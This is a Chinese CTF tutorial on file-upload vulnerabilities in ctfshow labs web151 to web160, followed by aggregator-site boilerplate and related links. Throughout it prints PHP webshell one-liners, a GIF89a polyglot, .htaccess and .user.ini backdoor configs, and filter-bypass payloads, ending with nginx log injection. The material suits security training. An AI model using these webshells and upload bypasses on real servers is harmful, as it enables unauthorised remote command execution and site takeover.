【CTF】文件上传(知识点+例题)(1)

这篇具有很好参考价值的文章主要介绍了【CTF】文件上传(知识点+例题)(1)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

【CTF】文件上传(知识点+例题)(1)

文件上传

在上传文件时,服务端代码没有对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)

非法用户可以利用上传的恶意脚本控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为Webshell,也可讲Webshell脚本称作一种网页后门,Webshell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

php一句话木马:

<?php @eval($_REQUEST['cmd']);?>

一、前端校验

有的站点会出现仅进行了前端校验的情况(一切在前端做的安全防护,都是耍流氓),由于前端页面的源码是我们可以随意更改的,因此可以通过找到进行过滤的指令,更改成我们想要的功能即可。

ctfshow-web151:

【CTF】文件上传(知识点+例题)(1)

查看上传图片按钮的源码,可以看到它仅支持png格式的文件

【CTF】文件上传(知识点+例题)(1)

可设想两种做法:

1、更改前端代码,将exts后的png更改为php,也就是说使其仅能上传php格式文件,即可完成上传。

【CTF】文件上传(知识点+例题)(1)

【CTF】文件上传(知识点+例题)(1)

2、上传一个png格式文件,使用burp抓取上传数据包,在数据包内更改文件格式与内容。

【CTF】文件上传(知识点+例题)(1)

此处再将png格式更改为php即可

【CTF】文件上传(知识点+例题)(1)

成功上传后,只需访问木马文件路径,执行所需的指令即可

【CTF】文件上传(知识点+例题)(1)

ctfshow-web152:

使用web151方法二同样解法

二、利用.htaccess和.user.ini上传

这里的内容在我之前的一篇博客中有讲到

.htaccess后门

.htaccess文件(分布式配置文件),提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及所有子目录。

.htaccess是Apache服务器的分布式配置文件的默认名称,换言之是个配置文件。当一个.htaccess文件放置在一个“通过Apache Web服务器加载”的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。

在一些黑名单过滤的情况下,若没有过滤.htaccess文件,即可通过创建.htaccess文件,来改写一些配置,从而达到上传后门的目的。

# .htaccess
<FilesMatch "1.png">
SetHandler application/x-http-php
</FilesMatch>
# 作用:将名为1.png的文件当作php类型的文件来进行执行

假设接下来就可以上传一个名为1.png的木马文件,植入后门,将其上传后,该文件虽文件后缀名为png,但会被当作php类型的文件进行解析,其中的一句话木马也能够被正常执行。

# 1.png	(一句话木马)
<?php @eval($_POST['cmd']);?>

.user.ini后门

php.ini是php的一个全局配置文件,对整个Web服务起作用,而.user.ini就是用户自定义的一个php.ini,可以利用它来构造后门。.user.ini利用范围很广,不仅限于Apache服务器,还适用于Nginx服务器。当访问一个.php目录时,若当前目录下存在.user.ini文件,则会执行该配置文件中的内容。

使用:通过配置之前提到的auto_prepend_file或auto_append_file来自动包含指定文件,类似于在文件前调用了include()或require()函数,并且要知道,在php中,被包含的文件内容是在<?php?>体内部的,因此被包含的所有文件,无论是何种格式,都会被按照php文件进行解析

# .user.ini
auto_prepend_file=1.png
# 1.png
GIF89a
<?php eval($_POST['cmd']);?>

因此,通过使用.user.ini,我们可以任意指定包含一个文件,这个文件可以是我们自己上传的木马文件,从而通过该木马文件提供后门来获取当前服务器的webshell。

ctfshow-web153:

无法上传php格式的文件,使用上述方法,上传.user.ini再访问./upload/index.php即可利用上传的木马文件

【CTF】文件上传(知识点+例题)(1)

三、过滤关键字之php

当对文件内容里的php进行了过滤时,可以采用php短标签来绕过

#常规标签
<?php ?>
#php短标签
<?= >

ctfshow-web154、155:

上传之前的一句话木马文件,发现显示不合规,经过几次测试,发现过滤了关键字php,于是可以使用php短标签进行绕过,然后再和web153一样上传.user.ini即可

【CTF】文件上传(知识点+例题)(1)

【CTF】文件上传(知识点+例题)(1)

四、过滤一系列符号

1、过滤“[]”

当方括号被过滤,我们可以考虑直接执行system函数来获取flag

ctfshow-web156:

此时通过测试发现,方括号被过滤,文件内容中含有方括号无法正常上传,那么直接使用语句

system('cat ../f*');

【CTF】文件上传(知识点+例题)(1)

【CTF】文件上传(知识点+例题)(1)

除了直接使用system以外,还可以使用{}来代替[],上传以下一句话木马同样可以实现

<?=eval($_REQUEST{'cmd'});?>
2、过滤“;”

ctfshow-web157:

这一题在156的基础上过滤了分号(😉,将分号去掉同样可以

<?= system('cat ../fl*')?>

【CTF】文件上传(知识点+例题)(1)

ctfshow-web158:

与web157相同

3、过滤"()"

当()被过滤,在php中,在反引号中括起来的内容,表示执行的是系统命令

例如:

system('ls')`ls`功能相同

ctfshow-web159:

在经过测试时,发现本题过滤了括号(),那么此时之前使用的system()与eval()都无法继续使用了,此时就可以使用反引号来执行系统目录

【CTF】文件上传(知识点+例题)(1)

【CTF】文件上传(知识点+例题)(1)

五、日志注入

一般nginx的日志路径默认为

/var/log/nginx

ctfshow-web160:

此时我们可以先使用include函数包含日志来查看日志的内容,并且发现,关键字log被过滤,因此可以使用字符串的拼接,payload如下:

GIF89a
<?=include"/var/l"."og/nginx/access.lo"."g"?>

包含出日志文件后,查看日志内容,发现access.log中记录的是User-Agent头内的信息

【CTF】文件上传(知识点+例题)(1)

此时就可以考虑将木马语句写入到日志内,然后使用include进行包含执行

【CTF】文件上传(知识点+例题)(1)

【CTF】文件上传(知识点+例题)(1)

随后即可在读取的日志内容中查看源代码进而得到flag

本题还有另一种方法,由于使用到了include函数,因此我们也可以使用filter伪协议来进行指定文件的读取:

【CTF】文件上传(知识点+例题)(1)

随后将得到的结果进行base64解码即可得到flag文章来源地址https://www.toymoban.com/news/detail-468566.html

到了这里,关于【CTF】文件上传(知识点+例题)(1)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【计算机网络】第五章传输层知识点及经典例题汇总

    1、从通信和信息处理的角度看,传输层向它上面的应用层提供通信服务,它属于面向通信部分的最高层,同时也是用户功能中的最低层 2、此层包含TCP和UDP协议。TCP 传送的数据单位协议是 TCP 报文段(segment),UDP 传送的数据单位协议是 UDP 报文或用户数据报。 3、IP数据报要经过

    2024年02月04日
    浏览(35)
  • CTF-XXE(持续更新,欢迎分享更多相关知识点的题目)

    进来看到 然后一起看 Write 进来看到 一起看 write 反正是XXE 直接整 write 不整花里胡哨,解题在最下面 write 与博主不同,我通过下面的语句得到了三个地址,其中两个通过c段扫描可以直接出来flag。 flag出来了,输入平台却不对

    2024年02月11日
    浏览(29)
  • python知识点100篇系列(5) -根据后缀名整理文件夹

    需求来了: 平常用浏览器在互联网下载的文件,一般都在一个“下载”文件夹内,里面的文件什么格式的都有,看着就很乱;所以看能不能给整理一下,这个活python可以干; 解决方案: 思路一、根据文件后缀名,归类文件,相同后缀名,放到同一个文件夹下; 主要用到os模

    2023年04月09日
    浏览(35)
  • 视频知识点(17)- flv.js 实现播放本地视频文件的技巧

    目录 问题 解决 一、启动 HTTP 静态服务 二、播放 URL 三、允许静态服务跨域

    2023年04月08日
    浏览(25)
  • 每个.NET开发都应掌握的C#处理文件系统I/O知识点

    上篇文章讲述了C#多线程知识点,本文将介绍C#处理文件的知识点。在.NET开发领域,文件系统I/O是一个至关重要的主题,尤其是在处理文件、目录和数据存储方面。C#作为.NET平台的主要编程语言,提供了丰富而强大的文件系统I/O功能,为开发人员提供了灵活的工具,使其能够

    2024年02月05日
    浏览(35)
  • 轻松掌握K8S使用kubectl操作配置文件挂载ConfigMap和密钥Secret知识点05

    1、挂载应用配置文件配置集ConfigMap 当有许多应用如redis、mysql,希望将它的配置文件挂载出去,以便随时修改,可以用ConfigMap配置集 具体用法查看使用命令行操作里的 3、ConfigMap配置集实战 2、挂载应用配置文件的敏感信息Secret Secret 对象类型用来保存敏感信息,例如使用ya

    2024年02月16日
    浏览(83)
  • 【字节面试】Fail-fast知识点相关知识点

    字节面试,问到的一个小知识点,这里做一下总结,其实小编之前有一篇文章,已经对此有过涉及,不过这里知识专项针对于问题,把这个知识点拎出来说一下。 什么是Fail-fast机制? Hashmap是否拥有Fail-fast机制? ConcurrentModificationException异常原因和解决方法是什么? 哪些你常

    2024年01月22日
    浏览(35)
  • [知识点整理]中科院/国科大 自然语言处理nlp 期末考试知识点整理

    本文为2022秋网安学院的自然语言处理课程期末复习知识点整理,水平有限,整理的答案可能有错误或遗漏,欢迎大家指正。 文章的第二部分内容参考了学校学姐的文章,文章写的很好,大家可以关注她: (133条消息) 【一起入门NLP】中科院自然语言处理期末考试*总复习*:考

    2024年02月09日
    浏览(38)
  • 多线程知识点

    例如:一个短视频,一个线程复制管理视频,一个线程负责管理声音,一个线程负责管理弹幕 进程:Process,程序一旦开始运行就是是一个进程 线程:Thread,一个程序运行后,里面就包含了多个线程 真正的多线程是指有多个cpu,即多核。如果是模拟的多线程,即只有一个cpu,在

    2024年02月11日
    浏览(32)
  • 2023面试知识点一

    默认的,新生代 ( Young ) 与老年代 ( Old ) 的比例的值为 1:2 ( 该值可以通过参数 –XX:NewRatio 来指定 ),即:新生代 ( Young ) = 1/3 的堆空间大小。老年代 ( Old ) = 2/3 的堆空间大小。其中,新生代 ( Young ) 被细分为 Eden 和 两个 Survivor 区域,这两个 Survivor 区域分别被命名为 from 和 t

    2024年02月07日
    浏览(28)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包